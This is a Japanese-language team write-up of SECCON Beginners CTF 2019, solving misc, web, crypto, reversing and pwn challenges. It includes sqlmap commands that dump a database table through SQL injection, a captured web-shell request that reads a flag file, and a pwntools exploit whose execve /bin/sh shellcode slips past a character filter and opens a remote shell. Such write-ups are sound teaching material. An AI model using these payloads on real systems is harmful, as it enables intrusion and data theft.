SECCON Beginers CTF 2019 write-up
2019/05/25 15:00 - 05/26 15:00 (24H) に開催されたCTFのWrite-upです。 チーム名: whitecatsで出場して1274pt. 全体77位で個人成績?では61位でした。
MISC
containers
Let's extract files from the container. https://score.beginners.seccon.jp/files/e35860e49ca3fa367e456207ebc9ff2f_containers
ファイルを抽出
# -*- coding: utf-8 -*- import re def main(): with open('./containers', 'rb') as f: data = f.read() cnt, idx = 0, 0 files = [] fb = re.compile(b'FILE.*\.') vld = b'VALIDATOR' tmp = fb.search(data[idx:]) s, e = tmp.start(), tmp.end() idx = e while True: tmp = fb.search(data[idx:]) if tmp: s, e = tmp.start(), tmp.end() files.append((idx, idx+s)) idx += e else: val_idx = re.search(vld, data[idx:]) files.append((idx, idx+val_idx.start())) break cnt += 1 print(cnt, files) cnt = 0 for f in files: s, e = f[0], f[1] d = data[s:e] fname = 'con_' + str(cnt) + '.png' with open(fname, 'wb') as f: f.write(d) cnt += 1 if __name__ == '__main__': main()
抽出できたPNGファイル順番通りに並べればフラグっぽい。
一応、確認
$ echo -n 'ctf4b{e52df60c058746a66e4ac4f34db6fc81}' | sha1sum 3c90b7f38d3c200d8e6312fbea35668bec61d282 -
Flag: ctf4b{e52df60c058746a66e4ac4f34db6fc81}
Dump
Analyze dump and extract the flag!! https://score.beginners.seccon.jp/files/fc23f13bcf6562e540ed81d1f47710af_dump
DLしたバイナリを見たらpcapっぽかったので、まずは拡張子をpcapにしてWiresharkで開いた。パケットはHTTPパケットだったので、メニューのファイル→オブジェクトをエクスポート→HTTP でHTTPコンテンツを出力した。
HTMLコンテンツの中は8進数みたいな値が並んでいた。
037 213 010 000 012 325 251 134 000 003 354 375 007 124 023 133 327 007 214 117 350 115 272 110 047 012 212 122 223 320 022 252 164 220 052 275 051 204 044 100 050 011 044 024 101 120 274 166 244 010 010 050 315 002 110 023 024 244 012 330 005 351 012 012 322 024 245 011 202 205 242 202 212 337 204 216 242 357 175 336 365 177 336 265 376 337 372 346 072 316 231 275 177 173 237 175 366 331 247 346 070 127 106 126 306 331 315 033 355 056 343 351 353 016 374 227 056 030 014 246 050 057 017 245 074 225 024 025 026 236 060 304 342 373 302 045 247 000 207 302 345 344 025 020 162 012 010 230 022 002 012 203 313 301 345 140 000 024 366 337
WEBページのタイトルを見てみるとWeb Shellとなっているのと、Wiresharkで保存されたファイル名が、webshell.php%3fcmd=hexdump%20%2De%20%2716%2F1%20%22%2502%2E3o%20%22%20%22%5Cn%22%27%20%2Fhome%2Fctf4b%2Fflag.html
になっていたので、やはりhexdumpでflagファイルの中を8進数で表示したものらしい。
ソルバー(HTMLコンテンツから8進数の部分だけ抜き出し、dump.txtとして保存して実行)
with open('dump.txt', 'r') as f: data = f.read() octs = data.split() bytes = map(lambda x: int(x, 8).to_bytes(1, 'little'), octs) with open('dump_data.txt', 'wb') as f: for b in bytes: f.write(b)
tar.gzぽかったので、tarコマンドで回答したらフラグのJPEGがでてきた。
Flag: ctf4b{hexdump_is_very_useful}
Web
Ramen
SQL injectionとかよくわからないので、sqlmapをつかったら出た。
$ sqlmap --tables -u https://ramen.quals.beginners.seccon.jp/?username= $ sqlmap -T flag -- dump -u https://ramen.quals.beginners.seccon.jp/?username=
Flag: ctf4b{a_simple_sql_injection_with_union_select}
Crypto
[warmup] So Tired
最強の暗号を作りました。 暗号よくわからないけどきっと大丈夫! File: so_tired.tar.gz https://score.beginners.seccon.jp/files/7e9eb0636de2cad98b1eee3b667aea6c_so_tired.tar.gz
ファイルをtarコマンドで回答すると、Base64文字列が書いてあるテキストファイルがでてくる。base64デコードするとバイナリがでてくる。fileコマンドで調べてみるとzlibで圧縮されたデータらしい。
$ cat encrypted.txt | base64 -d > d64.txt $ file d64.txt d64.txt: zlib compressed data
試しに解凍してみるとまたbase64文字列がでてきたので、繰り返しだろーなーと思って、以下のソルバーを書いて解いた。
# -*- coding: utf-8 -*- import base64 import zlib def main(): with open('encrypted.txt', 'rb') as f: data = f.read() cnt = 0 tmp = data[:] while True: b64d = base64.b64decode(tmp) zdec = zlib.decompress(b64d) if zdec.find(b'ctf4b') != -1: print(cnt) print(zdec) break tmp = zdec[:] cnt += 1 if __name__ == '__main__': main() # $ python solve.py # 499 # ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}
Flag: ctf4b{very_l0ng_l0ng_BASE64_3nc0ding}
Reversing
[warmup] Seccompare
https://score.beginners.seccon.jp/files/seccompare_44d43f6a4d247e65c712d7379157d6a9.tar.gz
IDAで眺めてみるとstack上にFlagっぽい文字列を用意して、0x4006b9
でコマンドライン引数と比較している。
strcmpされる前のstackを見ればフラグが見えるはずなので、gdb-pedaで適当に0x4006a4
にブレイクポイントを設定して実行。
$ gdb -q --args seccompare ctf4bxxxxxxxxxxx Reading symbols from seccompare...(no debugging symbols found)...done. gdb-peda$ b *0x4006a4 Breakpoint 1 at 0x4006a4 gdb-peda$ r Starting program: /seccompare ctf4bxxxxxxxxxxx [----------------------------------registers-----------------------------------] RAX: 0x0 RBX: 0x0 RCX: 0x400700 (<__libc_csu_init>: push r15) RDX: 0x7fffffffdfd0 --> 0x7fffffffe340 ("CLUTTER_IM_MODULE=xim") RSI: 0x7fffffffdfb8 --> 0x7fffffffe2e3 ("...") RDI: 0x2 RBP: 0x7fffffffded0 --> 0x400700 (<__libc_csu_init>: push r15) RSP: 0x7fffffffde90 --> 0x7fffffffdfb8 --> 0x7fffffffe2e3 ("...") RIP: 0x4006a4 (<main+189>: mov rax,QWORD PTR [rbp-0x40]) R8 : 0x7ffff7dd0d80 --> 0x0 R9 : 0x7ffff7dd0d80 --> 0x0 R10: 0x0 R11: 0x0 R12: 0x400500 (<_start>: xor ebp,ebp) R13: 0x7fffffffdfb0 --> 0x2 R14: 0x0 R15: 0x0 EFLAGS: 0x202 (carry parity adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x400698 <main+177>: mov BYTE PTR [rbp-0x16],0x68 0x40069c <main+181>: mov BYTE PTR [rbp-0x15],0x7d 0x4006a0 <main+185>: mov BYTE PTR [rbp-0x14],0x0 => 0x4006a4 <main+189>: mov rax,QWORD PTR [rbp-0x40] 0x4006a8 <main+193>: add rax,0x8 0x4006ac <main+197>: mov rdx,QWORD PTR [rax] 0x4006af <main+200>: lea rax,[rbp-0x30] 0x4006b3 <main+204>: mov rsi,rdx [------------------------------------stack-------------------------------------] 0000| 0x7fffffffde90 --> 0x7fffffffdfb8 --> 0x7fffffffe2e3 ("...") 0008| 0x7fffffffde98 --> 0x20040074d 0016| 0x7fffffffdea0 ("ctf4b{5tr1ngs_1s_n0t_en0ugh}") 0024| 0x7fffffffdea8 ("r1ngs_1s_n0t_en0ugh}") 0032| 0x7fffffffdeb0 ("_n0t_en0ugh}") 0040| 0x7fffffffdeb8 --> 0x7d686775 ('ugh}') 0048| 0x7fffffffdec0 --> 0x7fffffffdfb0 --> 0x2 0056| 0x7fffffffdec8 --> 0x93dbe948b0632700 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 1, 0x00000000004006a4 in main ()
Flag: ctf4b{5tr1ngs_1s_n0t_en0ugh}
Leakage
コマンドライン引数に正しいFlag文字列を与えて実行するとcorrect
と出力される実行ファイルみたい。
is_correctという関数でバイナリ内にある難読化したフラグ文字列を1文字ずつconvertという関数内で元に戻している。
始めは慣れていないangrでチャレンジしてみたが、なぜか解けない。gdbでやれば答えがでるのは、わかっているのであきらめてgdbでチマチマ解いた。
is_correct関数の 0x400630
にブレイクポイントを設定して、そのときの$eaxの値がconvertで変換されたフラグの1文字がわかる。あとはそれを繰り返す。
$ cat gdb_cmd start break *0x400630 ignore 2 24 run $ gdb -q -x gdb_cmd --args ./leakage ctf4b{le4k1ng_th3_xxxxxxxxxxxxxxx} : : gdb-peda$ c Continuing. $4 = 0x66 [----------------------------------registers-----------------------------------] RAX: 0x66 ('f') RBX: 0x0 RCX: 0x0 RDX: 0x9 ('\t') RSI: 0x1fabee32 RDI: 0xfc1dbaf2 RBP: 0x7fffffffdee0 --> 0x7fffffffdf00 --> 0x400bc0 (<__libc_csu_init>: push r15) RSP: 0x7fffffffdec0 --> 0x1 RIP: 0x400630 (<is_correct+73>: mov BYTE PTR [rbp-0x5],al) R8 : 0x3ba0b0d7 R9 : 0x7fe82c73 R10: 0x6f47b3e6 R11: 0x9f643160 R12: 0x400500 (<_start>: xor ebp,ebp) R13: 0x7fffffffdfe0 --> 0x2 R14: 0x0 R15: 0x0 EFLAGS: 0x206 (carry PARITY adjust zero sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x400626 <is_correct+63>: movzx eax,al 0x400629 <is_correct+66>: mov edi,eax 0x40062b <is_correct+68>: call 0x4006d0 <convert> => 0x400630 <is_correct+73>: mov BYTE PTR [rbp-0x5],al 0x400633 <is_correct+76>: mov eax,DWORD PTR [rbp-0x4] 0x400636 <is_correct+79>: movsxd rdx,eax 0x400639 <is_correct+82>: mov rax,QWORD PTR [rbp-0x18] 0x40063d <is_correct+86>: add rax,rdx [------------------------------------stack-------------------------------------] 0000| 0x7fffffffdec0 --> 0x1 0008| 0x7fffffffdec8 --> 0x7fffffffe359 ("ctf4b{le4k1ng_th3_", 'x' <repeats 15 times>, "}") 0016| 0x7fffffffded0 --> 0x7ffff7de59a0 (<_dl_fini>: push rbp) 0024| 0x7fffffffded8 --> 0x125f000000 0032| 0x7fffffffdee0 --> 0x7fffffffdf00 --> 0x400bc0 (<__libc_csu_init>: push r15) 0040| 0x7fffffffdee8 --> 0x4006aa (<main+74>: test eax,eax) 0048| 0x7fffffffdef0 --> 0x7fffffffdfe8 --> 0x7fffffffe314 ("/media/sf_onedrive_ctf/SECCON_Beginners_CTF_2019/rev/leakage/leakage") 0056| 0x7fffffffdef8 --> 0x200000000 [------------------------------------------------------------------------------] Legend: code, data, rodata, value Breakpoint 2, 0x0000000000400630 in is_correct () gdb-peda$ q
フラグ文字列がすべてわかるまでひたすら繰り返す。
Flag: ctf4b{le4k1ng_th3_f1ag_0ne_by_0ne}
Linear Operation
次はangrでうまくいった。
# -*- coding: utf-8 -*- import angr import claripy def main(): key_len = 63 pj = angr.Project('./linear_operation') input = claripy.BVS('input', 8*key_len) init_state = pj.factory.entry_state(args=['./linear_operation']) for b in input.chop(key_len): init_state.add_constraints(b != 0) sm = pj.factory.simgr(init_state) # main sm.explore(find=0x40cf78, avoid=[0x40cf86]) for f in sm.found: print(f.posix.dumps(0)) print(f.posix.dumps(1)) if __name__ == '__main__': main()
$ python3 solve.py WARNING | 2019-05-25 20:04:23,268 | angr.state_plugins.symbolic_memory | The program is accessing memory or registers with an unspecified value. This could indicate unwanted behavior. WARNING | 2019-05-25 20:04:23,269 | angr.state_plugins.symbolic_memory | angr will cope with this by generating an unconstrained symbolic variable and continuing. You can resolve this by: WARNING | 2019-05-25 20:04:23,269 | angr.state_plugins.symbolic_memory | 1) setting a value to the initial state WARNING | 2019-05-25 20:04:23,269 | angr.state_plugins.symbolic_memory | 2) adding the state option ZERO_FILL_UNCONSTRAINED_{MEMORY,REGISTERS}, to make unknown regions hold null WARNING | 2019-05-25 20:04:23,269 | angr.state_plugins.symbolic_memory | 3) adding the state option SYMBOL_FILL_UNCONSTRAINED_{MEMORY_REGISTERS}, to suppress these messages. WARNING | 2019-05-25 20:04:23,269 | angr.state_plugins.symbolic_memory | Filling register r15 with 8 unconstrained bytes referenced from 0x40cfb0 (__libc_csu_init+0x0 in linear_operation (0x40cfb0)) WARNING | 2019-05-25 20:04:23,273 | angr.state_plugins.symbolic_memory | Filling register r14 with 8 unconstrained bytes referenced from 0x40cfb2 (__libc_csu_init+0x2 in linear_operation (0x40cfb2)) WARNING | 2019-05-25 20:04:23,277 | angr.state_plugins.symbolic_memory | Filling register r13 with 8 unconstrained bytes referenced from 0x40cfb7 (__libc_csu_init+0x7 in linear_operation (0x40cfb7)) WARNING | 2019-05-25 20:04:23,280 | angr.state_plugins.symbolic_memory | Filling register r12 with 8 unconstrained bytes referenced from 0x40cfb9 (__libc_csu_init+0x9 in linear_operation (0x40cfb9)) WARNING | 2019-05-25 20:04:23,287 | angr.state_plugins.symbolic_memory | Filling register rbx with 8 unconstrained bytes referenced from 0x40cfca (__libc_csu_init+0x1a in linear_operation (0x40cfca)) WARNING | 2019-05-25 20:04:23,378 | angr.state_plugins.symbolic_memory | Filling register cc_ndep with 8 unconstrained bytes referenced from 0x4005b1 (register_tm_clones+0x21 in linear_operation (0x4005b1)) b'ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}'
Flag: ctf4b{5ymbol1c_3xecuti0n_1s_3ffect1ve_4ga1nst_l1n34r_0p3r4ti0n}
Pwn
[warmup] shellcoder
shellcodeを標準入力から読み込み、shellcodeに[binsh]が含まれていないかstrchrでチェックし、OKならshellcodeを実行してくれる。
strchrのチェックは\x00
がある位置で終了なので、shellcodeの先頭に影響のない↓のコードを入れておく。shellcode本体は、ももいろテクノロジー - x64でスタックバッファオーバーフローをやってみるから頂いた。
B6 00 mov dh, 0
最終的なソルバー
# -*- coding: utf-8 -*- from pwn import * srv = '153.120.129.186' port = 20000 bin = ELF('./shellcoder') conn = remote(srv, port) conn.recvuntil('Are you shellcoder?\n') buf = b'\xb6\x00\x31\xD2\x52\x48' buf += b'\xb8\x2f\x62\x69\x6e\x2f\x2f\x73' buf += b'\x68\x50\x48\x89\xe7\x52\x57\x48' buf += b'\x89\xe6\x48\x8d\x42\x3b\x0f\x05' conn.sendline(buf) conn.interactive() conn.close()
実行結果
$ python3 solve.py [*] '/media/sf_onedrive_ctf/SECCON_Beginners_CTF_2019/pwn/shellcoder/shellcoder' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: PIE enabled [+] Opening connection to 153.120.129.186 on port 20000: Done [*] Switching to interactive mode $ ls flag.txt shellcoder $ cat flag.txt ctf4b{Byp4ss_us!ng6_X0R_3nc0de}
Flag: ctf4b{Byp4ss_us!ng6_X0R_3nc0de}
以上!